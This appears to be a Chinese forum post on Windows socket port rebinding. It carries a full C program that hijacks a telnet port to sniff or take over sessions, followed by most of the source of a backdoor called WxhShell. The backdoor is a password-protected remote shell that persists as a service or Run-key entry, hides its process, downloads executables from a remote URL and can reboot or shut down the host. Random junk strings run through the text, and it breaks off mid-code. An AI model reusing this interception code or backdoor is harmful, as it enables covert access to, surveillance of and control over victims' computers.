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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NNR`!Pty  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W\,s:6iqz  
nHAS(  
  saddr.sin_family = AF_INET; {]!mrAjD  
i# /Jr=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {lDd.Fn  
2]jn '4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pj{`'; :g  
XEp{VC@=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]cWUZ{puRB  
4he GnMD  
  这意味着什么?意味着可以进行如下的攻击: {6|G@ ""O  
%XDc,AR[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 HZB>{O  
'F3f+YD  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) aiUY>M#|  
TER=*"!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /9*B)m"  
3S@7]Pg  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (`>+zT5aH  
z, )6"/;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7kLz[N6Ll  
6vo;!V6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Qj.#)R  
%nZo4hnr$r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6I4\q.^qw  
]@c+]{  
  #include A RuA<vQ  
  #include Y_IF;V\  
  #include r'r%w#=`t  
  #include    jXx<`I+]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Yui3+}Ms  
  int main() 6:5I26  
  { 8 +/rlHp  
  WORD wVersionRequested; (0r3/t?DQ  
  DWORD ret; L.2^`mZs  
  WSADATA wsaData; ZohCP  
  BOOL val; _ QI\  
  SOCKADDR_IN saddr; z+wA rPxc  
  SOCKADDR_IN scaddr; !u[9a;Sa#  
  int err; CS5?Ti6  
  SOCKET s; 'RR~7h  
  SOCKET sc; '~<m~UXvD#  
  int caddsize; #aJ(m&  
  HANDLE mt; sN*N&XG  
  DWORD tid;   . B9iLI  
  wVersionRequested = MAKEWORD( 2, 2 ); LVfF[  
  err = WSAStartup( wVersionRequested, &wsaData ); Ecefi pG  
  if ( err != 0 ) { &K.d'$q  
  printf("error!WSAStartup failed!\n"); m+R[#GE8#  
  return -1; 3?9IJ5p  
  } YeL#jtC  
  saddr.sin_family = AF_INET; J.b9F:&}  
   t;Sb/3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NjScc%@y  
e7Z32P0ls  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q7\w+ANf0  
  saddr.sin_port = htons(23); [< ?s?Ci  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;>yxNGV`  
  { <n];mfh1  
  printf("error!socket failed!\n"); )3}9K ^jS  
  return -1; )JLdO*H  
  } Y@vTaE^w3  
  val = TRUE; Nq[uoaT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  a=9:[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W?R6ZAn  
  { u@UMP@"#  
  printf("error!setsockopt failed!\n"); =,=A,kI[;  
  return -1; /GN<\_o=q  
  }  SI-qC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )e+>w=t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^z IW+:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R6.hA_ih  
ci.+pF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) HGs $*  
  { 2B[X,rL.pX  
  ret=GetLastError(); jyUjlYAAv`  
  printf("error!bind failed!\n"); ColV8oVnU  
  return -1; TH&U j1  
  } _Xc8Yg }`  
  listen(s,2); +>{2*\cZ5}  
  while(1) 1>_8d"<Gd  
  { m@2QnA[ 4  
  caddsize = sizeof(scaddr); KNvZm;Q6  
  //接受连接请求 RuA*YV  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); y<|7z99L  
  if(sc!=INVALID_SOCKET) O7m(o:t x3  
  { mb TEp*H  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i {NzV  
  if(mt==NULL) }<v@01  
  { 36Zf^cFJ  
  printf("Thread Creat Failed!\n"); 9@(PWz=`?  
  break; /sx&=[ D  
  } JN-y)L/>  
  } (AaoCa[  
  CloseHandle(mt); RQ'9m^  
  } ]Kt6^|S$a  
  closesocket(s); ZF9z~9  
  WSACleanup(); v\gLWq'  
  return 0; 5oW!YJg  
  }   4K#>f4(U`g  
  DWORD WINAPI ClientThread(LPVOID lpParam) xQ-<WF1i  
  { B$fPgW-  
  SOCKET ss = (SOCKET)lpParam; yy^q2P  
  SOCKET sc; '4+ ur`  
  unsigned char buf[4096]; {9&;Q|D z  
  SOCKADDR_IN saddr; !Y0Vid  
  long num; D rUO-  
  DWORD val; 30#s aGV  
  DWORD ret; ;~ )5s'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 XH4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %+W{iu[|  
  saddr.sin_family = AF_INET; |^"1{7)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |P HT694Uz  
  saddr.sin_port = htons(23); f;o5=)Y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eCU:Q  
  { "Y =;.:qe  
  printf("error!socket failed!\n"); .PIL +x*]N  
  return -1; BDW^7[n  
  } o4F2%0gJ  
  val = 100; s^G.]%iU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A@!qv#'  
  { 6 6EV$*dRL  
  ret = GetLastError(); NqazpB*  
  return -1; w7.V6S$Ga  
  } +K:Dx!9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bQg:zww  
  { Ha0M)0Anv  
  ret = GetLastError(); p J! mw\:  
  return -1; /!yU !`bY  
  } OhQgF  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %op**@4/t\  
  { Q^9_' t}X  
  printf("error!socket connect failed!\n"); )Pa'UGY  
  closesocket(sc); n`B:;2X,  
  closesocket(ss); Ct<udO  
  return -1; H7&8\ FNa  
  } *MhRW,=  
  while(1) z;,u}u}aI  
  { m{Wu" ;e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Y1W1=Uc uk  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 K,;E5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~tS Z%q  
  num = recv(ss,buf,4096,0); F4-$~ v@  
  if(num>0) TVtvuvQ2K  
  send(sc,buf,num,0); In"ZIKaC  
  else if(num==0) @su^0 9n  
  break; YNyk1cE  
  num = recv(sc,buf,4096,0); b5dD/-Vj  
  if(num>0) 7 UKh688  
  send(ss,buf,num,0); $kdB |4C  
  else if(num==0) FBe;1OU  
  break; ]KKS"0a  
  } "yy5F>0Wt  
  closesocket(ss); F`9xVnK=  
  closesocket(sc); lBLARz&c#  
  return 0 ; Af~$TyX  
  } t:x\kp  
b;B%q$sntC  
~~/|dh5  
========================================================== 9IdA%RM~mH  
\$~|ZwV{  
下边附上一个代码,,WXhSHELL \g&,@'uh  
!7O+ogL  
========================================================== HTv2#  
vFzRg5lH  
#include "stdafx.h" ^qvZXb  
!I{0 _b{  
#include <stdio.h> p}z<Fdu 0  
#include <string.h> hn7# L  
#include <windows.h> >W=,j)MA  
#include <winsock2.h> ;LKkbT 5  
#include <winsvc.h> xf\C|@i  
#include <urlmon.h> e9Wa<i 8  
I;,77PxD  
#pragma comment (lib, "Ws2_32.lib") eH'av}  
#pragma comment (lib, "urlmon.lib") 3)t.p>VgO  
Fj8z  
#define MAX_USER   100 // 最大客户端连接数 v|_K/|  
#define BUF_SOCK   200 // sock buffer EqkN3%IG  
#define KEY_BUFF   255 // 输入 buffer c)6m$5]  
]NQfX[  
#define REBOOT     0   // 重启 kUL' 1!j7  
#define SHUTDOWN   1   // 关机 RtkEGxw*^  
r!|6:G+Q  
#define DEF_PORT   5000 // 监听端口 WH#1 zv  
-lr vKrt7  
#define REG_LEN     16   // 注册表键长度 ]!W=^!  
#define SVC_LEN     80   // NT服务名长度 ihhDOmUto  
U|H=Y"pL  
// 从dll定义API ^&9zw\x;z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Hs;4lSyUO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^  glri$m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 60^`JVGWH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p;`>e>$  
{K~'K+TPu  
// wxhshell配置信息 58}U^IW  
struct WSCFG { 6IN e@  
  int ws_port;         // 监听端口 wQ:)KjhHH  
  char ws_passstr[REG_LEN]; // 口令 p}}R-D&K  
  int ws_autoins;       // 安装标记, 1=yes 0=no x xHY+(m  
  char ws_regname[REG_LEN]; // 注册表键名 S1T"Z{$  
  char ws_svcname[REG_LEN]; // 服务名 D=A&+6B@-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jKz$@gP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y>8sZuH0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gs^Xf;g vI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gMi0FO'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]\-A;}\e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kYE9M8s;  
>4x(e\B  
}; { T/[cu<  
T= 80,  
// default Wxhshell configuration f=l rg KE  
struct WSCFG wscfg={DEF_PORT, nmee 'oEw  
    "xuhuanlingzhe", |"q5sym8Y_  
    1, %Bj\W'V&p  
    "Wxhshell", <)C#_w)-  
    "Wxhshell", np|Sy;:  
            "WxhShell Service", @Myo'{3vF  
    "Wrsky Windows CmdShell Service", Q^P}\wb>  
    "Please Input Your Password: ", nUaJzPl  
  1, S3C]AhW;  
  "http://www.wrsky.com/wxhshell.exe", )rIwqUgp6\  
  "Wxhshell.exe" j.[.1G*("  
    }; 0Uz"^xO["  
>.Pnkx*  
// 消息定义模块 L8@f-Kk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LRxZcxmy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i]c!~`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h:))@@7MJ  
char *msg_ws_ext="\n\rExit."; ,hDW Ps2S  
char *msg_ws_end="\n\rQuit."; : g7@PJND  
char *msg_ws_boot="\n\rReboot..."; B6+khuG(  
char *msg_ws_poff="\n\rShutdown..."; g\|PcoLm  
char *msg_ws_down="\n\rSave to "; ''cInTCr  
d"1]4.c  
char *msg_ws_err="\n\rErr!"; V5@:#BIs  
char *msg_ws_ok="\n\rOK!"; `GBW%X/  
+uF>2b6'  
char ExeFile[MAX_PATH]; -u+vJ6EY  
int nUser = 0; tH@Erh|%  
HANDLE handles[MAX_USER]; s2p\]|5  
int OsIsNt; j<m(PHSe  
nQZx= JK  
SERVICE_STATUS       serviceStatus; +%z> H"J.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G{~J|{t\yz  
(Bb5?fw  
// 函数声明 @f>-^  
int Install(void); '`[&}R  
int Uninstall(void); oi7@s0@  
int DownloadFile(char *sURL, SOCKET wsh); E:_ZA  
int Boot(int flag); n t;m+by  
void HideProc(void); d UE,U=  
int GetOsVer(void); b<[Or^X ]  
int Wxhshell(SOCKET wsl); 98c(<  
void TalkWithClient(void *cs); =`oCLsz=  
int CmdShell(SOCKET sock); )b L'[h  
int StartFromService(void); 0@0w+&*"@  
int StartWxhshell(LPSTR lpCmdLine); dmtr*pM_  
=osk+uzzG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tPWLg),  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); & GO}|W  
/|m2WxK)  
// 数据结构和表定义 >{n,L6_ t  
SERVICE_TABLE_ENTRY DispatchTable[] = VOsR An/N  
{ IxN9&xa  
{wscfg.ws_svcname, NTServiceMain}, ='r!g  
{NULL, NULL} *\a4wZ6<3  
}; ah$b [\#C  
un"Gozmt5  
// 自我安装 #6aW9GO  
int Install(void) bTNgjc  
{ (62"8iD6  
  char svExeFile[MAX_PATH]; w>&aEv/f  
  HKEY key; !<8W {LT  
  strcpy(svExeFile,ExeFile); ' ,wFTV&  
yNJ B oar  
// 如果是win9x系统,修改注册表设为自启动  `,*3[  
if(!OsIsNt) { [ZwjOi:)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lN 4oW3QT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tmYz R%i  
  RegCloseKey(key); y3Qsv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ha<[b ue  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #powub  
  RegCloseKey(key); @Ns Qd_e  
  return 0; w$iX.2|9%u  
    } @Sn(lnlB  
  } &{n.]]%O.  
} j?\Qh  
else { vkV0On  
a 7 V-C  
// 如果是NT以上系统,安装为系统服务 *!t/"b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CJx|?yK2  
if (schSCManager!=0) .k%72ez  
{ ,.8KN<A2]'  
  SC_HANDLE schService = CreateService vzAaxk%  
  ( zV37$Hb  
  schSCManager, :gibfk]C  
  wscfg.ws_svcname, /)>3Nq4Zx  
  wscfg.ws_svcdisp, Ms#M+[a  
  SERVICE_ALL_ACCESS, r.&Vw|*>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [#vH'y  
  SERVICE_AUTO_START, #$07:UJ  
  SERVICE_ERROR_NORMAL, ZgcMv,=  
  svExeFile, R$<&ie6UQ  
  NULL, ',@3>T**  
  NULL, `:KY\  
  NULL, Ykw*&opz  
  NULL, >Eto( y"q  
  NULL K#d`Hyx  
  ); ;(Or`u]Dr  
  if (schService!=0) CNyIQ}NJ  
  { DU'`ewLL7  
  CloseServiceHandle(schService); CAWNDl4  
  CloseServiceHandle(schSCManager); BoWg0*5xb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (NU NHxi5B  
  strcat(svExeFile,wscfg.ws_svcname); !>&o01i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `5.'_3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Qx#"q'2  
  RegCloseKey(key); ql{ OETn#  
  return 0; ` p-cSxR_  
    } %)W2H^  
  } &)ChQZA  
  CloseServiceHandle(schSCManager); :Yh+>c}N  
} UKvWJnz  
} xGg )Y#  
F^BS/Yag  
return 1; I3I/bofz  
} lvz7#f L~  
azp):*f("  
// 自我卸载 P l]O\vh  
int Uninstall(void) <{cQM$ #  
{ \'D0'\:vz  
  HKEY key; hx%v+/  
Rtl"Ub@HV  
if(!OsIsNt) { WX?IYQ+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y"aJur=`  
  RegDeleteValue(key,wscfg.ws_regname); nRS}}6Q  
  RegCloseKey(key); ?P`K7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AjMh,@  
  RegDeleteValue(key,wscfg.ws_regname); oW*16>IN9l  
  RegCloseKey(key); 0R'?~`aTt  
  return 0; 6SkaH<-&K  
  } d.d/<  
} vJ[^  K  
} $ @`V  
else { .j0$J\:i  
ChPmX+.i_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Be2DN5)  
if (schSCManager!=0) .}TZxla0Zr  
{ "$^ ~!1~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WlC:l  
  if (schService!=0) k"iOB-@B+  
  { *fS"ym@  
  if(DeleteService(schService)!=0) { 3$>1FoSk  
  CloseServiceHandle(schService); 6Y?|w3f   
  CloseServiceHandle(schSCManager); |N7M^  
  return 0; N +_t-5  
  } c9u`!'g`i  
  CloseServiceHandle(schService); | rtD.,m   
  } oIzj,v8$  
  CloseServiceHandle(schSCManager); ~Otoqu|  
} m nX2a  
} :KP @RZm  
6}Ci>_i4#  
return 1; ag[wdoj  
} k(G^z   
"_NN3lD)X  
// 从指定url下载文件 R"t,xM  
int DownloadFile(char *sURL, SOCKET wsh) WO>nIo5Y  
{ xr Jg\to{i  
  HRESULT hr; @,my7?::oM  
char seps[]= "/"; CxW>~O:  
char *token; c]o'xd,T8\  
char *file; T_5H&;a  
char myURL[MAX_PATH]; kv{za4,&  
char myFILE[MAX_PATH]; "e>;'%W  
vw/J8'  
strcpy(myURL,sURL); >jLY"  
  token=strtok(myURL,seps); O-hAFKx  
  while(token!=NULL) ~4Fvy'  
  { >tV{Pd1  
    file=token; sBg.u  
  token=strtok(NULL,seps); %pL''R9VF  
  } 0znR0%~  
.g<DD)`  
GetCurrentDirectory(MAX_PATH,myFILE); z,p~z*4  
strcat(myFILE, "\\"); 0pd'93C  
strcat(myFILE, file); 16(QR-  
  send(wsh,myFILE,strlen(myFILE),0); AH7}/Rc  
send(wsh,"...",3,0); 7.j?U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *P=VFP  
  if(hr==S_OK) E4/Dr}4  
return 0; 2eY_%Y0  
else bwMm#f  
return 1; w;amZgD>  
~HsJUro  
} N5 6g+,w%)  
Z=o2H Bm7  
// 系统电源模块 3bH'H*2  
int Boot(int flag) SO'vp z{  
{ N<VJ(20y  
  HANDLE hToken; y??XIsF  
  TOKEN_PRIVILEGES tkp; x g  
vXZOy%$o  
  if(OsIsNt) { ndMA-`Ny,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dkTX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &n:.k}/P  
    tkp.PrivilegeCount = 1; =-n}[Y}A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C33J5'(CA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [hv~o~q  
if(flag==REBOOT) { GGs}i1m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f r6 fj  
  return 0; ;[OH(!  
} &}B|"s[  
else { [sj osV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c`w}|d]mC  
  return 0; ~=l;=7 T  
} 7;wd(8  
  } {_p_%;  
  else { B[?Ng}<g`  
if(flag==REBOOT) { A$0fKko  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Pu$Tk |  
  return 0; ;iL#7NG-R  
} X\qNG]  
else { Fywv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) je=a/Y=%U{  
  return 0; >_T-u<E  
} s9DYi~/,  
} h J)h\  
y _k l:Ssa  
return 1; }Oq5tC@$G  
} vV-`jsq20H  
w%jII{@,  
// win9x进程隐藏模块 Txb#C[`  
void HideProc(void) ]jp6k<KF  
{ 1K50Z.o&@  
Y&Z.2>b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GH$pKB  
  if ( hKernel != NULL ) R8Fv{7]c  
  { #?- wm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q sCheHP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5K8^WK  
    FreeLibrary(hKernel); $5%SNzzl  
  } ;+ hH  
jasy<IqT!{  
return; K`fuf=  
} =$JET<(  
s R/F"  
// 获取操作系统版本 ')<hON44EX  
int GetOsVer(void) '!~)?C<  
{ 7n<::k\lb  
  OSVERSIONINFO winfo; r0% D58  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *#+An<iT ;  
  GetVersionEx(&winfo); z[qDkL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3 {sVVq5Y  
  return 1; T'Dv.h  
  else [2 M'PT3  
  return 0; wgGl[_)  
} Y\g3h M  
uiR8,H9*M  
// 客户端句柄模块 DT&@^$?  
int Wxhshell(SOCKET wsl) U-tTW*[1]  
{ 7a<DKB  
  SOCKET wsh; Fd9 [pU  
  struct sockaddr_in client; 0*{%=M  
  DWORD myID; )|# sfHv7  
b,1ePS  
  while(nUser<MAX_USER) s&3Vg7B  
{ )oPBa  
  int nSize=sizeof(client); bq0zxg%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UH"%N)[  
  if(wsh==INVALID_SOCKET) return 1; Em~>9f ?Q(  
}`m/bgtFX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ao&"r[oJSv  
if(handles[nUser]==0) YNsJZnGr8#  
  closesocket(wsh); oj+hQ+>  
else hZt!/?dc  
  nUser++; Bh-ym8D  
  } %:* YO;dw'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :& ."ttf=  
8[{ Vu0R  
  return 0; @GW #&\yM  
} g}(L;fy>7  
=]0&i]z[.  
// 关闭 socket Se =`N  
void CloseIt(SOCKET wsh) ,.FxIl ]  
{ %6f*{G w  
closesocket(wsh); /aZ`[m2  
nUser--; I^$fMdT  
ExitThread(0); smo~7;  
} B \2 SH%\  
onxLyx|A  
// 客户端请求句柄 toC^LZgZ_6  
void TalkWithClient(void *cs) L) T (<  
{ Qh\60f>0  
 H6/$d  
  SOCKET wsh=(SOCKET)cs; [S!/E4>['  
  char pwd[SVC_LEN]; d>qY{Fdz  
  char cmd[KEY_BUFF]; 'm kLCS  
char chr[1]; &&>ekG 9@  
int i,j; /h|#J  
1=Z0w +v{  
  while (nUser < MAX_USER) { 9CD_ os\h  
Y`a3tO=Pd  
if(wscfg.ws_passstr) { {F.[&/A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ye5&)d"fa(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E$p+}sP(C  
  //ZeroMemory(pwd,KEY_BUFF); 9~[Y-cpoi  
      i=0; I9ep`X6Y  
  while(i<SVC_LEN) { &gx%b*;`L0  
Q>i^s@0  
  // 设置超时 ['iPl/v0  
  fd_set FdRead; Q hO!Ma]  
  struct timeval TimeOut; YT(AUS5n  
  FD_ZERO(&FdRead); BLD gt~h#  
  FD_SET(wsh,&FdRead); r mg}N  
  TimeOut.tv_sec=8; 7J<5f)  
  TimeOut.tv_usec=0; -e:`|(Mo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P\k# >}}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iGB}Il)  
 Mb~F%_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JZyAXm%  
  pwd=chr[0]; $*fMR,~t&  
  if(chr[0]==0xd || chr[0]==0xa) { |@4' <4t  
  pwd=0; 7hPY_W y  
  break; zy }$i?  
  } v`1M[  
  i++; 1p=]hC  
    } qY!Zt_Be6  
HN|%9{VeB  
  // 如果是非法用户,关闭 socket & >fQp(f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 11;MN  
} #AQV(;r7@  
/IMFO:c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0n{=%Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I b5rqU\  
Ig>(m49d  
while(1) { E r?&Y,o  
r_A$DaC]  
  ZeroMemory(cmd,KEY_BUFF); C;^X[x%h7$  
~Z' ?LV<t  
      // 自动支持客户端 telnet标准   c{w2Gt!  
  j=0; qlPT Ll  
  while(j<KEY_BUFF) { 0LJv'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FU4L6n  
  cmd[j]=chr[0]; f ) L  
  if(chr[0]==0xa || chr[0]==0xd) { )l DD\J7  
  cmd[j]=0; IjnU?Bf  
  break; d/~9&wLSb  
  } .%  
  j++; 8KzkB;=n  
    } 13x p_j  
`VguQl_,gA  
  // 下载文件 Otn1wBI  
  if(strstr(cmd,"http://")) { =@~Y12o?%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '}Z<h?9  
  if(DownloadFile(cmd,wsh)) ' S/gmn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fe_5LC"  
  else 3%b6{ie/=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GnJt0{  
  } G]&qx`TBK  
  else { }Jj}%XxKs  
nAlQ7 '  
    switch(cmd[0]) { + mT_QsLEv  
  |+D!= :x  
  // 帮助 KoT%Mfu  
  case '?': { FfT`;j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .8JTe 0  
    break; 88$8d>-  
  } f]sr RYSR  
  // 安装 Uw<nxD/+  
  case 'i': { U|R_OLWAg  
    if(Install()) S{T >}'y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Z=R)asGS  
    else |M;7>'YNC*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =[7Av>  
    break; 8zW2zkv2|#  
    } +9sQZB# (  
  // 卸载 <lJ345Q  
  case 'r': { l9Q- iJ  
    if(Uninstall()) ~})e?q;b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (X*^dO  
    else 1T n}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y(Hs#Kn{  
    break; 'PW5ux@`<  
    } ")p\q:z6  
  // 显示 wxhshell 所在路径 Z6MO^_m2  
  case 'p': { *MW\^PR?  
    char svExeFile[MAX_PATH]; >uEzw4w  
    strcpy(svExeFile,"\n\r"); IO<6  
      strcat(svExeFile,ExeFile); ]u/sphPe  
        send(wsh,svExeFile,strlen(svExeFile),0); h^P#{W!e\  
    break; ) Hr`M B  
    } YKK*ER0  
  // 重启 XC#oB~K'  
  case 'b': { aV0"~5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]\HvKCN}  
    if(Boot(REBOOT)) b4Ekqas  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s_p!43\J  
    else { [AJJSd/:  
    closesocket(wsh); nQ3A~ ()  
    ExitThread(0);  &q*Aj17  
    } V0a3<6@4  
    break; w7&A0M  
    } '8kP.l  
  // 关机 p!AAFmc  
  case 'd': { !C.4<?*|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |-~Y#]  
    if(Boot(SHUTDOWN)) [0("Q;Ec[j  
